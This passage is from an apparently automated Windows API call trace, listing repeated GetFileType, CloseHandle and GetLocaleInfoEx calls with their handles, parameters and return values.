0x1 [0294.194] CloseHandle (hObject=0x2d5c) returned 1 [0294.194] GetFileType (hFile=0x2d60) returned 0x1 [0294.195] CloseHandle (hObject=0x2d60) returned 1 [0294.196] GetFileType (hFile=0x2d64) returned 0x1 [0294.197] CloseHandle (hObject=0x2d64) returned 1 [0294.198] GetFileType (hFile=0x2d68) returned 0x1 [0294.198] CloseHandle (hObject=0x2d68) returned 1 [0294.199] GetFileType (hFile=0x2d6c) returned 0x1 [0294.200] CloseHandle (hObject=0x2d6c) returned 1 [0294.200] GetFileType (hFile=0x2d70) returned 0x1 [0294.201] CloseHandle (hObject=0x2d70) returned 1 [0294.219] GetFileType (hFile=0x2d74) returned 0x1 [0294.220] CloseHandle (hObject=0x2d74) returned 1 [0294.221] GetFileType (hFile=0x2d78) returned 0x1 [0294.222] CloseHandle (hObject=0x2d78) returned 1 [0294.231] GetFileType (hFile=0x2d7c) returned 0x1 [0294.231] CloseHandle (hObject=0x2d7c) returned 1 [0294.233] GetFileType (hFile=0x2d84) returned 0x1 [0294.234] CloseHandle (hObject=0x2d84) returned 1 [0294.271] GetFileType (hFile=0x2d88) returned 0x1 [0294.272] CloseHandle (hObject=0x2d88) returned 1 [0294.273] GetFileType (hFile=0x2d8c) returned 0x1 [0294.274] CloseHandle (hObject=0x2d8c) returned 1 [0294.274] GetFileType (hFile=0x2d90) returned 0x1 [0294.275] CloseHandle (hObject=0x2d90) returned 1 [0294.276] GetFileType (hFile=0x2d94) returned 0x1 [0294.277] CloseHandle (hObject=0x2d94) returned 1 [0294.278] GetFileType (hFile=0x2d98) returned 0x1 [0294.279] CloseHandle (hObject=0x2d98) returned 1 [0294.280] GetFileType (hFile=0x2d80) returned 0x1 [0294.281] CloseHandle (hObject=0x2d80) returned 1 [0294.282] GetFileType (hFile=0x2d9c) returned 0x1 [0294.283] CloseHandle (hObject=0x2d9c) returned 1 [0294.283] GetFileType (hFile=0x2da0) returned 0x1 [0294.284] CloseHandle (hObject=0x2da0) returned 1 [0294.285] GetFileType (hFile=0x2da4) returned 0x1 [0294.286] CloseHandle (hObject=0x2da4) returned 1 [0294.287] GetFileType (hFile=0x2da8) returned 0x1 [0294.287] CloseHandle (hObject=0x2da8) returned 1 [0294.288] GetFileType (hFile=0x2dac) returned 0x1 [0294.288] CloseHandle (hObject=0x2dac) returned 1 [0294.289] GetFileType (hFile=0x2db0) returned 0x1 [0294.290] CloseHandle (hObject=0x2db0) returned 1 [0294.291] GetFileType (hFile=0x2db4) returned 0x1 [0294.292] CloseHandle (hObject=0x2db4) returned 1 [0294.293] GetFileType (hFile=0x2db8) returned 0x1 [0294.293] CloseHandle (hObject=0x2db8) returned 1 [0294.294] GetFileType (hFile=0x2dbc) returned 0x1 [0294.295] CloseHandle (hObject=0x2dbc) returned 1 [0294.296] GetFileType (hFile=0x2dc4) returned 0x1 [0294.297] CloseHandle (hObject=0x2dc4) returned 1 [0294.297] GetFileType (hFile=0x2dc8) returned 0x1 [0294.298] CloseHandle (hObject=0x2dc8) returned 1 [0294.299] GetFileType (hFile=0x2dcc) returned 0x1 [0294.300] CloseHandle (hObject=0x2dcc) returned 1 [0294.301] GetFileType (hFile=0x2dd0) returned 0x1 [0294.301] CloseHandle (hObject=0x2dd0) returned 1 [0294.302] GetFileType (hFile=0x2dd4) returned 0x1 [0294.303] CloseHandle (hObject=0x2dd4) returned 1 [0294.304] GetFileType (hFile=0x2dd8) returned 0x1 [0294.305] CloseHandle (hObject=0x2dd8) returned 1 [0294.306] GetFileType (hFile=0x2ddc) returned 0x1 [0294.306] CloseHandle (hObject=0x2ddc) returned 1 [0294.307] GetFileType (hFile=0x2de0) returned 0x1 [0294.308] CloseHandle (hObject=0x2de0) returned 1 [0294.309] GetFileType (hFile=0x2de4) returned 0x1 [0294.309] CloseHandle (hObject=0x2de4) returned 1 [0294.311] GetFileType (hFile=0x2de8) returned 0x1 [0294.311] CloseHandle (hObject=0x2de8) returned 1 [0294.312] GetFileType (hFile=0x2dc0) returned 0x1 [0294.313] CloseHandle (hObject=0x2dc0) returned 1 [0294.313] GetFileType (hFile=0x2dec) returned 0x1 [0294.314] CloseHandle (hObject=0x2dec) returned 1 [0294.315] GetFileType (hFile=0x2df0) returned 0x1 [0294.316] CloseHandle (hObject=0x2df0) returned 1 [0294.316] GetFileType (hFile=0x2df4) returned 0x1 [0294.317] CloseHandle (hObject=0x2df4) returned 1 [0294.318] GetFileType (hFile=0x2df8) returned 0x1 [0294.318] CloseHandle (hObject=0x2df8) returned 1 [0294.319] GetFileType (hFile=0x2dfc) returned 0x1 [0294.320] CloseHandle (hObject=0x2dfc) returned 1 [0294.320] GetFileType (hFile=0x2e00) returned 0x1 [0294.321] CloseHandle (hObject=0x2e00) returned 1 [0294.321] GetFileType (hFile=0x2e04) returned 0x1 [0294.322] CloseHandle (hObject=0x2e04) returned 1 [0294.323] GetFileType (hFile=0x2e08) returned 0x1 [0294.323] CloseHandle (hObject=0x2e08) returned 1 [0294.324] GetFileType (hFile=0x2e0c) returned 0x1 [0294.324] CloseHandle (hObject=0x2e0c) returned 1 [0294.326] GetFileType (hFile=0x2e14) returned 0x1 [0294.327] CloseHandle (hObject=0x2e14) returned 1 [0294.328] GetFileType (hFile=0x2e18) returned 0x1 [0294.328] CloseHandle (hObject=0x2e18) returned 1 [0294.331] GetFileType (hFile=0x2e1c) returned 0x1 [0294.332] CloseHandle (hObject=0x2e1c) returned 1 [0294.334] GetFileType (hFile=0x2e20) returned 0x1 [0294.335] CloseHandle (hObject=0x2e20) returned 1 [0294.426] GetFileType (hFile=0x2e24) returned 0x1 [0294.427] CloseHandle (hObject=0x2e24) returned 1 [0294.427] GetFileType (hFile=0x2e28) returned 0x1 [0294.429] CloseHandle (hObject=0x2e28) returned 1 [0294.445] GetFileType (hFile=0x2e10) returned 0x1 [0294.446] CloseHandle (hObject=0x2e10) returned 1 [0294.446] GetFileType (hFile=0x2e2c) returned 0x1 [0294.447] CloseHandle (hObject=0x2e2c) returned 1 [0294.448] GetFileType (hFile=0x2e30) returned 0x1 [0294.448] CloseHandle (hObject=0x2e30) returned 1 [0294.449] GetFileType (hFile=0x2e34) returned 0x1 [0294.449] CloseHandle (hObject=0x2e34) returned 1 [0294.450] GetFileType (hFile=0x2e38) returned 0x1 [0294.451] CloseHandle (hObject=0x2e38) returned 1 [0294.452] GetFileType (hFile=0x2e40) returned 0x1 [0294.453] CloseHandle (hObject=0x2e40) returned 1 [0294.453] GetFileType (hFile=0x2e44) returned 0x1 [0294.454] CloseHandle (hObject=0x2e44) returned 1 [0294.455] GetFileType (hFile=0x2e48) returned 0x1 [0294.456] CloseHandle (hObject=0x2e48) returned 1 [0294.457] GetFileType (hFile=0x2e4c) returned 0x1 [0294.457] CloseHandle (hObject=0x2e4c) returned 1 [0294.458] GetFileType (hFile=0x2e50) returned 0x1 [0294.458] CloseHandle (hObject=0x2e50) returned 1 [0294.459] GetFileType (hFile=0x2e54) returned 0x1 [0294.460] CloseHandle (hObject=0x2e54) returned 1 [0294.460] GetFileType (hFile=0x2e58) returned 0x1 [0294.461] CloseHandle (hObject=0x2e58) returned 1 [0294.462] GetFileType (hFile=0x2e5c) returned 0x1 [0294.463] CloseHandle (hObject=0x2e5c) returned 1 [0294.464] GetFileType (hFile=0x2e60) returned 0x1 [0294.464] CloseHandle (hObject=0x2e60) returned 1 [0294.467] GetFileType (hFile=0x2e3c) returned 0x1 [0294.467] CloseHandle (hObject=0x2e3c) returned 1 [0294.468] GetFileType (hFile=0x2e64) returned 0x1 [0294.469] CloseHandle (hObject=0x2e64) returned 1 [0294.470] GetFileType (hFile=0x2e68) returned 0x1 [0294.471] CloseHandle (hObject=0x2e68) returned 1 [0294.472] GetFileType (hFile=0x2e6c) returned 0x1 [0294.473] CloseHandle (hObject=0x2e6c) returned 1 [0294.473] GetFileType (hFile=0x2e70) returned 0x1 [0294.474] CloseHandle (hObject=0x2e70) returned 1 [0294.476] GetFileType (hFile=0x2e74) returned 0x1 [0294.476] CloseHandle (hObject=0x2e74) returned 1 [0294.478] GetFileType (hFile=0x2e78) returned 0x1 [0294.478] CloseHandle (hObject=0x2e78) returned 1 [0294.479] GetFileType (hFile=0x2e7c) returned 0x1 [0294.479] CloseHandle (hObject=0x2e7c) returned 1 [0294.480] GetFileType (hFile=0x2e80) returned 0x1 [0294.481] CloseHandle (hObject=0x2e80) returned 1 [0294.482] GetFileType (hFile=0x2e84) returned 0x1 [0294.482] CloseHandle (hObject=0x2e84) returned 1 [0294.484] GetFileType (hFile=0x2e8c) returned 0x1 [0294.484] CloseHandle (hObject=0x2e8c) returned 1 [0294.485] GetFileType (hFile=0x2e90) returned 0x1 [0294.485] CloseHandle (hObject=0x2e90) returned 1 [0294.486] GetFileType (hFile=0x2e94) returned 0x1 [0294.487] CloseHandle (hObject=0x2e94) returned 1 [0294.487] GetFileType (hFile=0x2e98) returned 0x1 [0294.488] CloseHandle (hObject=0x2e98) returned 1 [0294.489] GetFileType (hFile=0x2e9c) returned 0x1 [0294.490] CloseHandle (hObject=0x2e9c) returned 1 [0294.490] GetFileType (hFile=0x2ea0) returned 0x1 [0294.491] CloseHandle (hObject=0x2ea0) returned 1 [0294.491] GetFileType (hFile=0x2ea4) returned 0x1 [0294.492] CloseHandle (hObject=0x2ea4) returned 1 [0294.493] GetFileType (hFile=0x2ea8) returned 0x1 [0294.493] CloseHandle (hObject=0x2ea8) returned 1 [0294.494] GetFileType (hFile=0x2eac) returned 0x1 [0294.495] CloseHandle (hObject=0x2eac) returned 1 [0294.495] GetFileType (hFile=0x2eb0) returned 0x1 [0294.496] CloseHandle (hObject=0x2eb0) returned 1 [0294.497] GetFileType (hFile=0x2eb4) returned 0x1 [0294.498] CloseHandle (hObject=0x2eb4) returned 1 [0294.585] GetFileType (hFile=0x2eb8) returned 0x1 [0294.585] CloseHandle (hObject=0x2eb8) returned 1 [0294.600] GetFileType (hFile=0x2ebc) returned 0x1 [0294.601] CloseHandle (hObject=0x2ebc) returned 1 [0294.602] GetFileType (hFile=0x2ec0) returned 0x1 [0294.603] CloseHandle (hObject=0x2ec0) returned 1 [0294.604] GetFileType (hFile=0x2e88) returned 0x1 [0294.605] CloseHandle (hObject=0x2e88) returned 1 [0294.625] GetFileType (hFile=0x2ec8) returned 0x1 [0294.626] CloseHandle (hObject=0x2ec8) returned 1 [0294.626] GetFileType (hFile=0x2ecc) returned 0x1 [0294.627] CloseHandle (hObject=0x2ecc) returned 1 [0294.641] GetFileType (hFile=0x2ec4) returned 0x1 [0294.643] CloseHandle (hObject=0x2ec4) returned 1 [0294.644] GetFileType (hFile=0x2ed0) returned 0x1 [0294.644] CloseHandle (hObject=0x2ed0) returned 1 [0294.670] GetFileType (hFile=0x2ed4) returned 0x1 [0294.671] CloseHandle (hObject=0x2ed4) returned 1 [0294.672] GetFileType (hFile=0x2ed8) returned 0x1 [0294.673] CloseHandle (hObject=0x2ed8) returned 1 [0294.673] GetFileType (hFile=0x2edc) returned 0x1 [0294.674] CloseHandle (hObject=0x2edc) returned 1 [0294.674] GetFileType (hFile=0x2ee0) returned 0x1 [0294.676] CloseHandle (hObject=0x2ee0) returned 1 [0294.676] GetFileType (hFile=0x2ee4) returned 0x1 [0294.677] CloseHandle (hObject=0x2ee4) returned 1 [0294.678] GetFileType (hFile=0x2ee8) returned 0x1 [0294.679] CloseHandle (hObject=0x2ee8) returned 1 [0294.680] GetFileType (hFile=0x2eec) returned 0x1 [0294.681] CloseHandle (hObject=0x2eec) returned 1 [0294.681] GetFileType (hFile=0x2ef0) returned 0x1 [0294.682] CloseHandle (hObject=0x2ef0) returned 1 [0294.683] GetFileType (hFile=0x2ef8) returned 0x1 [0294.683] CloseHandle (hObject=0x2ef8) returned 1 [0294.684] GetFileType (hFile=0x2efc) returned 0x1 [0294.685] CloseHandle (hObject=0x2efc) returned 1 [0294.685] GetFileType (hFile=0x2f00) returned 0x1 [0294.686] CloseHandle (hObject=0x2f00) returned 1 [0294.687] GetFileType (hFile=0x2f04) returned 0x1 [0294.688] CloseHandle (hObject=0x2f04) returned 1 [0294.689] GetFileType (hFile=0x2f08) returned 0x1 [0294.689] CloseHandle (hObject=0x2f08) returned 1 [0294.690] GetFileType (hFile=0x2f0c) returned 0x1 [0294.691] CloseHandle (hObject=0x2f0c) returned 1 [0294.698] GetFileType (hFile=0x2ef4) returned 0x1 [0294.699] CloseHandle (hObject=0x2ef4) returned 1 [0294.700] GetFileType (hFile=0x2f10) returned 0x1 [0294.700] CloseHandle (hObject=0x2f10) returned 1 [0294.701] GetFileType (hFile=0x2f14) returned 0x1 [0294.702] CloseHandle (hObject=0x2f14) returned 1 [0294.703] GetFileType (hFile=0x2f18) returned 0x1 [0294.704] CloseHandle (hObject=0x2f18) returned 1 [0294.704] GetFileType (hFile=0x2f1c) returned 0x1 [0294.705] CloseHandle (hObject=0x2f1c) returned 1 [0294.706] GetFileType (hFile=0x2f20) returned 0x1 [0294.707] CloseHandle (hObject=0x2f20) returned 1 [0294.707] GetFileType (hFile=0x2f24) returned 0x1 [0294.708] CloseHandle (hObject=0x2f24) returned 1 [0294.709] GetFileType (hFile=0x2f28) returned 0x1 [0294.709] CloseHandle (hObject=0x2f28) returned 1 [0294.710] GetFileType (hFile=0x2f2c) returned 0x1 [0294.711] CloseHandle (hObject=0x2f2c) returned 1 [0294.711] GetFileType (hFile=0x2f30) returned 0x1 [0294.712] CloseHandle (hObject=0x2f30) returned 1 [0294.713] GetFileType (hFile=0x2f34) returned 0x1 [0294.714] CloseHandle (hObject=0x2f34) returned 1 [0294.714] GetFileType (hFile=0x2f38) returned 0x1 [0294.715] CloseHandle (hObject=0x2f38) returned 1 [0294.716] GetFileType (hFile=0x2f3c) returned 0x1 [0294.716] CloseHandle (hObject=0x2f3c) returned 1 [0294.717] GetFileType (hFile=0x2f40) returned 0x1 [0294.717] CloseHandle (hObject=0x2f40) returned 1 [0294.719] GetFileType (hFile=0x2f48) returned 0x1 [0294.720] CloseHandle (hObject=0x2f48) returned 1 [0294.721] GetFileType (hFile=0x2f4c) returned 0x1 [0294.722] CloseHandle (hObject=0x2f4c) returned 1 [0294.723] GetFileType (hFile=0x2f50) returned 0x1 [0294.723] CloseHandle (hObject=0x2f50) returned 1 [0294.724] GetFileType (hFile=0x2f54) returned 0x1 [0294.725] CloseHandle (hObject=0x2f54) returned 1 [0294.725] GetFileType (hFile=0x2f58) returned 0x1 [0294.726] CloseHandle (hObject=0x2f58) returned 1 [0294.726] GetFileType (hFile=0x2f5c) returned 0x1 [0294.727] CloseHandle (hObject=0x2f5c) returned 1 [0294.728] GetFileType (hFile=0x2f60) returned 0x1 [0294.728] CloseHandle (hObject=0x2f60) returned 1 [0294.729] GetFileType (hFile=0x2f44) returned 0x1 [0294.730] CloseHandle (hObject=0x2f44) returned 1 [0314.685] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.685] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.685] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.713] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.713] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.713] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.714] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.714] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.714] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.716] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.716] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.716] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.717] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.717] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.717] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.719] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.719] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.719] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.721] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.721] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.721] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.724] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.724] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.724] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.725] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.725] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.725] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.727] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.727] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.727] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.728] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.728] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.728] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.730] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.730] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.730] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.731] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.732] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.732] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.733] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.733] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.733] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.734] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.734] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.734] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.735] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.735] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.735] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.754] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.754] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.754] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.778] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.778] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.778] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.782] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.782] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.782] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.821] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.821] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.821] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.823] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0314.823] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0314.823] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0314.825] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.825] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.825] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.826] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.826] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.826] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.853] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.853] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.853] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.918] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0314.918] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0314.918] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0314.919] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0314.919] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0314.919] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0314.921] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.921] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.921] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.923] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0314.923] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0314.923] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0314.924] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.924] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.924] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.927] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.927] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.927] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.928] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0314.928] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0314.928] GetLocaleInfoEx (in: 